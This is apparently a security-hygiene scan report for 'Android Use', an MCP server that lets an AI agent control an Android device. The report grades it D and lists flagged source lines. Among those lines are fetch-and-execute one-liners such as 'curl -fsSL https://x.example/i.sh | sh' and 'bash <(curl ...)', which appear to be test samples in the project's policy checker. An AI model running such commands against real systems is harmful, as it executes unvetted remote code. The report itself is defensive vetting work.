MCP, MCP server
Android Use
Let an AI agent use one Android device through two plain-language tools.
Compatibility: Not stated.
Grade D
Two or more Medium findings, or a High finding. Only try it in a sandbox.
Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.
Rescanned at commit 48d8d2e9bc42, unchanged since the check below.
INSTALL_REMOTE_SCRIPT
Why this grade
- INSTALL_REMOTE_SCRIPT High
Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).
tools/src/policy.rs, line 244
"; cargo install cargo-audit\n curl -fsSL https://x.example/i.sh \\\n | sh\n - run: npm install\n - run:
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What was checked
Plain notes from the hygiene checks.
Permissions
Note
requests shell access. The manifest names this permission.
PERMISSION_SHELL_DECLARED
docs/design/baseline/bench.py, line 26
self.p = subprocess.Popen([au, "serve", "--mcp"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True)
docs/design/baseline/bench.py, line 71
subprocess.run([ADB, *args], capture_output=True)
docs/design/baseline/mcp_demo.py, line 8
p = subprocess.Popen([sys.argv[1], "--target", (sys.argv[2] if len(sys.argv) > 2 else "au-e2e"), "serve", "--mcp"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True)
Install and update
Serious
install fetches a script from the network.
INSTALL_REMOTE_SCRIPT
tools/src/policy.rs, line 244
"; cargo install cargo-audit\n curl -fsSL https://x.example/i.sh \\\n | sh\n - run: npm install\n - run:
Network
Concern
can reach a host that is not written as a fixed address.
NETWORK_NO_FIXED_HOST
install/install.sh, line 12
fetch() { curl --proto '=https' --proto-redir '=https' --tlsv1.2 -fsSL "$@"; }
tools/src/main.rs, line 766
assert_eq!(pin_mismatch("curl .../android-use/v1.2.0/install/install.sh", "1.2.0"), None);
tools/src/policy.rs, line 274
"curl -fsSL x.example |\n bash",
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tools/src/policy.rs, line 275
"bash <(curl -fsSL x.example)",
Secrets
Concern
reads a credential or environment file.
SECRETS_PATH_DOTENV
computer/src/emulator.rs, line 325
command.args(launch_args(name, console, window)).env("ANDROID_AVD_HOME", l.avd_home()).stdin(Stdio::null()).stdout(log.try_clone()?).stderr(log);
tools/src/emulator_e2e.rs, line 31
let _ = Command::new(&au).args(&finish).env("AU_HOME", &home).stdin(Stdio::null()).output();
tools/src/emulator_e2e.rs, line 53
let out = Command::new(au).args(args).env("AU_HOME", home).env("AU_DEV_APK", "1").stdin(Stdio::null()).output().map_err(|e| format!("could not run {au}: {e}"))?;
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tools/src/emulator_e2e.rs, line 135
let mut first = Command::new(au).args(["--target", name, "serve", "--mcp"]).env("AU_HOME", home).stdin(Stdio::piped()).stdout(Stdio::null()).spawn().map_err(ioe)?;
tools/src/emulator_e2e.rs, line 137
let second = Command::new(au).args(["--target", name, "serve", "--mcp"]).env("AU_HOME", home).stdin(Stdio::null()).output().map_err(ioe)?;
tools/src/main.rs, line 528
command.env("ANDROID_HOME", &sdk).env("ANDROID_SDK_ROOT", sdk);
Agent instructions
Pass
No instruction to ignore earlier instructions or to hide a step.
Obfuscation
Pass
No encoded or minified payload found.
Licence
Pass
A licence file is present (LICENSE).
Maintainer activity
Pass
The latest commit is within the last 365 days.
Note
Hygiene check of commit 48d8d2e9bc42. requests shell access. The manifest names this permission. install fetches a script from the network. can reach a host that is not written as a fixed address. reads a credential or environment file.
Date and source
Date checked:
github.com
Commit graded: 48d8d2e9bc421bd1caff921c1e936330f33414b8
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